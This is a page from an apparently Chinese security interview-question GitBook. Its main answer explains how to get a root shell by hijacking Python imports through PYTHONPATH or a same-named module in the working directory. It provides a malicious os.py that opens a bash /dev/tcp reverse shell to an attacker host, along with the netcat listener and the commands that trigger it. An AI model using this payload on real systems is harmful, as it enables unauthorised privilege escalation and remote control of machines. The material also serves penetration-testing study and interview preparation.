|
||
26.4 讲讲 Linux 平台的 ELF 文件结构
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.27.5" data-path="../Chapter26/26-5.html">
|
||
|
||
<a href="../Chapter26/26-5.html">
|
||
|
||
|
||
26.5 讲讲 Windows 平台的 PE 文件结构
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.27.6" data-path="../Chapter26/26-6.html">
|
||
|
||
<a href="../Chapter26/26-6.html">
|
||
|
||
|
||
26.6 讲讲 ASLR 怎么绕过
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.27.7" data-path="../Chapter26/26-7.html">
|
||
|
||
<a href="../Chapter26/26-7.html">
|
||
|
||
|
||
26.7 函数的调用约定有哪些，区别是什么
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.27.8" data-path="../Chapter26/26-8.html">
|
||
|
||
<a href="../Chapter26/26-8.html">
|
||
|
||
|
||
26.8 fuzzing 主要是用来干嘛
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.27.9" data-path="../Chapter26/26-9.html">
|
||
|
||
<a href="../Chapter26/26-9.html">
|
||
|
||
|
||
26.9 对 Windows 平台的漏洞和保护机制了解多少
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.27.10" data-path="../Chapter26/26-10.html">
|
||
|
||
<a href="../Chapter26/26-10.html">
|
||
|
||
|
||
26.10 对比一下 QEMU 模式的 Fuzzing 和源码模式的 Fuzzing
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.27.11" data-path="../Chapter26/26-11.html">
|
||
|
||
<a href="../Chapter26/26-11.html">
|
||
|
||
|
||
26.11 说说 QEMU 模式的动态插桩怎么实现的，有什么优缺点
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.27.12" data-path="../Chapter26/26-12.html">
|
||
|
||
<a href="../Chapter26/26-12.html">
|
||
|
||
|
||
26.12 fuzz 普通程序和数据库有哪些不同点
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.27.13" data-path="../Chapter26/26-13.html">
|
||
|
||
<a href="../Chapter26/26-13.html">
|
||
|
||
|
||
26.13 说说 AFL++ 和 AFL 有哪些不同
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.27.14" data-path="../Chapter26/26-14.html">
|
||
|
||
<a href="../Chapter26/26-14.html">
|
||
|
||
|
||
26.14 怎么给 AFL 做适配去 fuzz 数据库
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.27.15" data-path="../Chapter26/26-15.html">
|
||
|
||
<a href="../Chapter26/26-15.html">
|
||
|
||
|
||
26.15 介绍一下 fuzz 的流程，从选取目标开始
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.27.16" data-path="../Chapter26/26-16.html">
|
||
|
||
<a href="../Chapter26/26-16.html">
|
||
|
||
|
||
26.16 讲一下 AFL 的插桩原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.27.17" data-path="../Chapter26/26-17.html">
|
||
|
||
<a href="../Chapter26/26-17.html">
|
||
|
||
|
||
26.17 怎么选择 fuzz 测试点
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.27.18" data-path="../Chapter26/26-18.html">
|
||
|
||
<a href="../Chapter26/26-18.html">
|
||
|
||
|
||
26.18 哪些漏洞可以用 fuzz 检测到
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.27.19" data-path="../Chapter26/26-19.html">
|
||
|
||
<a href="../Chapter26/26-19.html">
|
||
|
||
|
||
26.19 符号执行是如何做约束求解的
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.28" data-path="../Chapter27/">
|
||
|
||
<a href="../Chapter27/">
|
||
|
||
|
||
27. AI 安全
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.28.1" data-path="../Chapter27/27-1.html">
|
||
|
||
<a href="../Chapter27/27-1.html">
|
||
|
||
|
||
27.1 介绍下 SVM
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.28.2" data-path="../Chapter27/27-2.html">
|
||
|
||
<a href="../Chapter27/27-2.html">
|
||
|
||
|
||
27.2 介绍下 KNN
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.28.3" data-path="../Chapter27/27-3.html">
|
||
|
||
<a href="../Chapter27/27-3.html">
|
||
|
||
|
||
27.3 卷积神经网络介绍
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.28.4" data-path="../Chapter27/27-4.html">
|
||
|
||
<a href="../Chapter27/27-4.html">
|
||
|
||
|
||
27.4 莱文斯坦距离
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.28.5" data-path="../Chapter27/27-5.html">
|
||
|
||
<a href="../Chapter27/27-5.html">
|
||
|
||
|
||
27.5 倒排索引
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.28.6" data-path="../Chapter27/27-6.html">
|
||
|
||
<a href="../Chapter27/27-6.html">
|
||
|
||
|
||
27.6 搜索引擎的算法有哪些
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.28.7" data-path="../Chapter27/27-7.html">
|
||
|
||
<a href="../Chapter27/27-7.html">
|
||
|
||
|
||
27.7 了解 TF-IDF 文档匹配算法吗
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.28.8" data-path="../Chapter27/27-8.html">
|
||
|
||
<a href="../Chapter27/27-8.html">
|
||
|
||
|
||
27.8 SGD 和 Adam 的区别
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.28.9" data-path="../Chapter27/27-9.html">
|
||
|
||
<a href="../Chapter27/27-9.html">
|
||
|
||
|
||
27.9 如何缩减模型的检测时延
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.28.10" data-path="../Chapter27/27-10.html">
|
||
|
||
<a href="../Chapter27/27-10.html">
|
||
|
||
|
||
27.10 如何降低模型的误报率
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.28.11" data-path="../Chapter27/27-11.html">
|
||
|
||
<a href="../Chapter27/27-11.html">
|
||
|
||
|
||
27.11 如何找攻击样本
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.29" data-path="../Chapter28/">
|
||
|
||
<a href="../Chapter28/">
|
||
|
||
|
||
28. 密码学安全
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.29.1" data-path="../Chapter28/28-1.html">
|
||
|
||
<a href="../Chapter28/28-1.html">
|
||
|
||
|
||
28.1 RSA 算法原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.29.2" data-path="../Chapter28/28-2.html">
|
||
|
||
<a href="../Chapter28/28-2.html">
|
||
|
||
|
||
28.2 AES 算法原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.29.3" data-path="../Chapter28/28-3.html">
|
||
|
||
<a href="../Chapter28/28-3.html">
|
||
|
||
|
||
28.3 说一下非对称加密算法的加密过程
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.29.4" data-path="../Chapter28/28-4.html">
|
||
|
||
<a href="../Chapter28/28-4.html">
|
||
|
||
|
||
28.4 有哪些了解过的非对称加密算法
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.29.5" data-path="../Chapter28/28-5.html">
|
||
|
||
<a href="../Chapter28/28-5.html">
|
||
|
||
|
||
28.5 栅栏密码的原理是什么
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.29.6" data-path="../Chapter28/28-6.html">
|
||
|
||
<a href="../Chapter28/28-6.html">
|
||
|
||
|
||
28.6 Padding Oracle Attack 讲讲
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.30" data-path="../Chapter29/">
|
||
|
||
<a href="../Chapter29/">
|
||
|
||
|
||
29. 区块链安全
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.30.1" data-path="../Chapter29/29-1.html">
|
||
|
||
<a href="../Chapter29/29-1.html">
|
||
|
||
|
||
29.1 说说交易所
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.30.2" data-path="../Chapter29/29-2.html">
|
||
|
||
<a href="../Chapter29/29-2.html">
|
||
|
||
|
||
29.2 讲一讲区块链逆向函数涉及到的接收参数的指令集
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.30.3" data-path="../Chapter29/29-3.html">
|
||
|
||
<a href="../Chapter29/29-3.html">
|
||
|
||
|
||
29.3 说说重入漏洞
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.30.4" data-path="../Chapter29/29-4.html">
|
||
|
||
<a href="../Chapter29/29-4.html">
|
||
|
||
|
||
29.4 在 DeFi 项目中建立了各种各样的经济模型，怎样才能找出可能存在的漏洞
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.30.5" data-path="../Chapter29/29-5.html">
|
||
|
||
<a href="../Chapter29/29-5.html">
|
||
|
||
|
||
29.5 libsnark 核心是什么
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.30.6" data-path="../Chapter29/29-6.html">
|
||
|
||
<a href="../Chapter29/29-6.html">
|
||
|
||
|
||
29.6 truffle、solidity 了解吗
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.30.7" data-path="../Chapter29/29-7.html">
|
||
|
||
<a href="../Chapter29/29-7.html">
|
||
|
||
|
||
29.7 智能合约的鉴权、公私密钥
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.30.8" data-path="../Chapter29/29-8.html">
|
||
|
||
<a href="../Chapter29/29-8.html">
|
||
|
||
|
||
29.8 数字钱包的身份认证
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.31" data-path="../Chapter30/">
|
||
|
||
<a href="../Chapter30/">
|
||
|
||
|
||
30. 云安全
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.31.1" data-path="../Chapter30/30-1.html">
|
||
|
||
<a href="../Chapter30/30-1.html">
|
||
|
||
|
||
30.1 控制了一台云主机但没有连接内网也没有云内网，该如何利用
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.32" data-path="../Chapter31/">
|
||
|
||
<a href="../Chapter31/">
|
||
|
||
|
||
31. APP 安全
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.32.1" data-path="../Chapter31/31-1.html">
|
||
|
||
<a href="../Chapter31/31-1.html">
|
||
|
||
|
||
31.1 安卓系统如何进行 RCE，有什么思路
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.32.2" data-path="../Chapter31/31-2.html">
|
||
|
||
<a href="../Chapter31/31-2.html">
|
||
|
||
|
||
31.2 给一个移动端的 APP，已知服务端是 cloud 环境有什么思路利用
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
<li class="divider"></li>
|
||
|
||
<li>
|
||
<a href="https://www.gitbook.com" target="blank" class="gitbook-link">
|
||
Published with GitBook
|
||
</a>
|
||
</li>
|
||
</ul>
|
||
|
||
|
||
</nav>
|
||
|
||
|
||
</div>
|
||
|
||
<div class="book-body">
|
||
|
||
<div class="body-inner">
|
||
|
||
|
||
|
||
<div class="book-header" role="navigation">
|
||
|
||
|
||
<!-- Title -->
|
||
<h1>
|
||
<i class="fa fa-circle-o-notch fa-spin"></i>
|
||
<a href=".." >15.31 如何利用 Python 的环境特性在不修改原脚本的前提下，劫持程序执行流程并获取 Root Shell</a>
|
||
</h1>
|
||
</div>
|
||
|
||
|
||
|
||
|
||
<div class="page-wrapper" tabindex="-1" role="main">
|
||
<div class="page-inner">
|
||
|
||
<section class="normal markdown-section">
|
||
|
||
<h3 id="如何利用-python-的环境特性在不修改原脚本的前提下，劫持程序执行流程并获取-root-shell">如何利用 Python 的环境特性在不修改原脚本的前提下，劫持程序执行流程并获取 Root Shell</h3>
|
||
<p><strong>一、利用 <code>PYTHONPATH</code> 环境变量劫持</strong></p>
|
||
<p><strong><code>PYTHONPATH</code></strong> 环境变量是 Python 解释器在寻找导入模块时，除了系统默认路径（如标准库路径和当前目录）外，会优先搜索的路径列表。如果目标脚本以 <strong><code>root</code></strong> 权限运行，并且我们能够控制 <code>PYTHONPATH</code> 的值或目标环境，就可以实现劫持</p>
|
||
<p><strong>原理</strong></p>
|
||
<ol>
|
||
<li><strong>目标：</strong> 找到一个目标脚本（以 Root 权限运行）会导入的<strong>标准库模块</strong>或<strong>第三方库模块</strong>。假设目标脚本中有一行代码是 <code>import os</code></li>
|
||
<li><strong>创建恶意模块：</strong> 我们在可控目录下创建一个与目标导入模块同名的文件，例如 <code>os.py</code></li>
|
||
<li><strong>设置 <code>PYTHONPATH</code>：</strong> 将我们存放恶意 <code>os.py</code> 文件的目录路径设置为 <code>PYTHONPATH</code> 的值</li>
|
||
<li><strong>执行流程：</strong> 当 Root 脚本启动时，Python 解释器会<strong>优先</strong>在 <code>PYTHONPATH</code> 指向的目录中搜索 <code>os.py</code>。它会找到我们的恶意文件，并执行其中的代码，而不是系统标准的 <code>os</code> 库</li>
|
||
</ol>
|
||
<p><strong>攻击步骤（获取 Root Shell）</strong></p>
|
||
<p>假设目标 Root 脚本名为 <code>target_root_script.py</code>，且它导入了 <code>os</code> 模块</p>
|
||
<ol>
|
||
<li><p><strong>创建恶意载荷 (Payload)：</strong> 在我们的可写入目录（例如 <code>/home/user/malicious_path/</code>）下创建 <code>os.py</code> 文件</p>
|
||
<pre><code class="lang-python"># /home/user/malicious_path/os.py
|
||
import subprocess
|
||
import socket
|
||
|
||
# 这段代码将在模块被导入时立即执行
|
||
def trigger():
|
||
# 反弹 Root Shell
|
||
# 注意：这里使用 bash 和 /dev/tcp 是 Linux 特有技巧
|
||
# 实际操作中，可以使用 Python 的 socket 库实现更隐蔽的反弹
|
||
LHOST = '你的攻击机IP'
|
||
LPORT = '你的监听端口'
|
||
subprocess.run(f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1", shell=True)
|
||
|
||
# 确保在模块加载时触发
|
||
trigger()
|
||
|
||
# 为了不让目标程序崩溃，我们可能需要在这里导入和暴露真正的 os 模块
|
||
# 但简单起见，可以先尝试让程序崩溃，如果能获得 Shell 就不必关心
|
||
# 复杂劫持：from real_os_module import *
|
||
</code></pre>
|
||
</li>
|
||
<li><p><strong>设置环境变量并执行：</strong> 在 Shell 中设置 <code>PYTHONPATH</code>，然后运行目标脚本</p>
|
||
<pre><code class="lang-bash"># 确保你的攻击机已经在 LPORT 端口监听 (e.g., nc -lvnp LPORT)
|
||
|
||
export PYTHONPATH="/home/user/malicious_path/"
|
||
/usr/bin/python3 /path/to/target_root_script.py
|
||
# 此时，target_root_script.py 导入 os 模块时，将执行我们的反弹 Shell 代码
|
||
</code></pre>
|
||
</li>
|
||
</ol>
|
||
<hr>
|
||
<p><strong>二、利用标准库的优先级加载机制（文件名冲突）</strong></p>
|
||
<p>如果没有 <code>PYTHONPATH</code> 的控制权，我们还可以利用 Python 的<strong>默认搜索顺序</strong>来实现劫持。</p>
|
||
<p><strong>原理</strong></p>
|
||
<p>Python 的模块搜索顺序通常是：</p>
|
||
<ol>
|
||
<li><strong>当前目录或程序所在目录（优先级最高）</strong></li>
|
||
<li><code>PYTHONPATH</code> 中的目录</li>
|
||
<li>标准库目录和第三方包目录</li>
|
||
</ol>
|
||
<p>如果我们将恶意模块放置在<strong>目标 Root 脚本所在的目录</strong>下，或者放置在<strong>用户当前工作目录</strong>下，并以与目标脚本导入的模块相同的名称命名，它将优先于系统标准库被加载</p>
|
||
<p><strong>攻击策略</strong></p>
|
||
<p>这种策略需要我们对目标脚本所在的目录有写入权限，或者能控制脚本执行时的<strong>当前工作目录 (CWD)</strong></p>
|
||
<ol>
|
||
<li><p><strong>目标：</strong> 目标 Root 脚本（<code>/opt/app/root_tool.py</code>）导入了 <code>config</code> 模块（一个自定义模块），或者导入了一个常见且不复杂的标准库模块，如 <code>logging</code> 或 <code>tempfile</code></p>
|
||
</li>
|
||
<li><p><strong>当前目录劫持：</strong> 如果目标脚本执行时，我们能控制其 CWD：</p>
|
||
<ul>
|
||
<li><strong>创建恶意载荷：</strong> 在我们控制的 CWD 下创建一个名为 <code>logging.py</code> 的恶意文件</li>
|
||
<li><strong>执行：</strong> 当 Root 脚本被执行时，如果它导入了 <code>import logging</code>，它将加载 CWD 下的 <code>logging.py</code></li>
|
||
</ul>
|
||
<pre><code class="lang-bash"># 攻击机已监听 LPORT
|
||
|
||
# 切换到我们的可控目录（假设我们在这里创建了恶意的 logging.py）
|
||
cd /home/user/malicious_cwd/
|
||
|
||
# 执行 Root 脚本，使其在我们的目录下启动
|
||
/usr/bin/python3 /opt/app/root_tool.py
|
||
</code></pre>
|
||
</li>
|
||
</ol>
|
||
<footer class="page-footer"><span class="copyright">Copyright © 版权信息 all right reserved，powered by Gitbook</span><span class="footer-modification">该文件修订时间：
|
||
2025-10-08 03:37:35
|
||
</span></footer>
|
||
|
||
</section>
|
||
|
||
</div>
|
||
</div>
|
||
|
||
</div>
|
||
|
||
|
||
|
||
<a href="15-30.html" class="navigation navigation-prev " aria-label="Previous page: 15.30 exploit 无法直接在目标机上编译，你有哪些跨平台编译或利用预编译二进制文件的策略">
|
||
<i class="fa fa-angle-left"></i>
|
||
</a>
|
||
|
||
|
||
<a href="15-32.html" class="navigation navigation-next " aria-label="Next page: 15.32 某个定时任务执行的脚本内容是 #!/bin/bash;echo "Cleanup started" | mail -s "Status" $USER，如何利用这个未指定绝对路径的 mail 命令提权">
|
||
<i class="fa fa-angle-right"></i>
|
||
</a>
|
||
|
||
|
||
|
||
</div>
|
||
|
||
<script>
|
||
var gitbook = gitbook || [];
|
||
gitbook.push(function() {
|
||
gitbook.page.hasChanged({"page":{"title":"15.31 如何利用 Python 的环境特性在不修改原脚本的前提下，劫持程序执行流程并获取 Root Shell","level":"1.16.31","depth":2,"next":{"title":"15.32 某个定时任务执行的脚本内容是 #!/bin/bash;echo \"Cleanup started\" | mail -s \"Status\" $USER，如何利用这个未指定绝对路径的 mail 命令提权","level":"1.16.32","depth":2,"path":"Chapter15/15-32.md","ref":"Chapter15/15-32.md","articles":[]},"previous":{"title":"15.30 exploit 无法直接在目标机上编译，你有哪些跨平台编译或利用预编译二进制文件的策略","level":"1.16.30","depth":2,"path":"Chapter15/15-30.md","ref":"Chapter15/15-30.md","articles":[]},"dir":"ltr"},"config":{"gitbook":"*","theme":"default","variables":{},"plugins":["-lunr","-search","expandable-chapters-small","splitter","back-to-top-button","tbfed-pagefooter","-highlight"],"pluginsConfig":{"hide-element":{"elements":[".gitbook-link"]},"tbfed-pagefooter":{"copyright":"Copyright © 版权信息","modify_label":"该文件修订时间：","modify_format":"YYYY-MM-DD HH:mm:ss"},"expandable-chapters-small":{},"splitter":{},"back-to-top-button":{},"sharing":{"facebook":true,"twitter":true,"google":false,"weibo":false,"instapaper":false,"vk":false,"all":["facebook","google","twitter","weibo","instapaper"]},"fontsettings":{"theme":"white","family":"sans","size":2},"theme-default":{"styles":{"website":"styles/website.css","pdf":"styles/pdf.css","epub":"styles/epub.css","mobi":"styles/mobi.css","ebook":"styles/ebook.css","print":"styles/print.css"},"showLevel":false}},"structure":{"langs":"LANGS.md","readme":"README.md","glossary":"GLOSSARY.md","summary":"SUMMARY.md"},"pdf":{"pageNumbers":true,"fontSize":12,"fontFamily":"Arial","paperSize":"a4","chapterMark":"pagebreak","pageBreaksBefore":"/","margin":{"right":62,"left":62,"top":56,"bottom":56}},"styles":{"website":"styles/website.css","pdf":"styles/pdf.css","epub":"styles/epub.css","mobi":"styles/mobi.css","ebook":"styles/ebook.css","print":"styles/print.css"}},"file":{"path":"Chapter15/15-31.md","mtime":"2025-10-07T19:37:35.177Z","type":"markdown"},"gitbook":{"version":"3.2.3","time":"2025-11-08T12:35:01.716Z"},"basePath":"..","book":{"language":""}});
|
||
});
|
||
</script>
|
||
</div>
|
||
|
||
|
||
<script src="../gitbook/gitbook.js"></script>
|
||
<script src="../gitbook/theme.js"></script>
|
||
|
||
|
||
<script src="../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js"></script>
|
||
|
||
|
||
|
||
<script src="../gitbook/gitbook-plugin-splitter/splitter.js"></script>
|
||
|
||
|
||
|
||
<script src="../gitbook/gitbook-plugin-back-to-top-button/plugin.js"></script>
|
||
|
||
|
||
|
||
<script src="../gitbook/gitbook-plugin-sharing/buttons.js"></script>
|
||
|
||
|
||
|
||
<script src="../gitbook/gitbook-plugin-fontsettings/fontsettings.js"></script>
|
||
|
||
|
||
|
||
</body>
|
||
</html>
|
||
|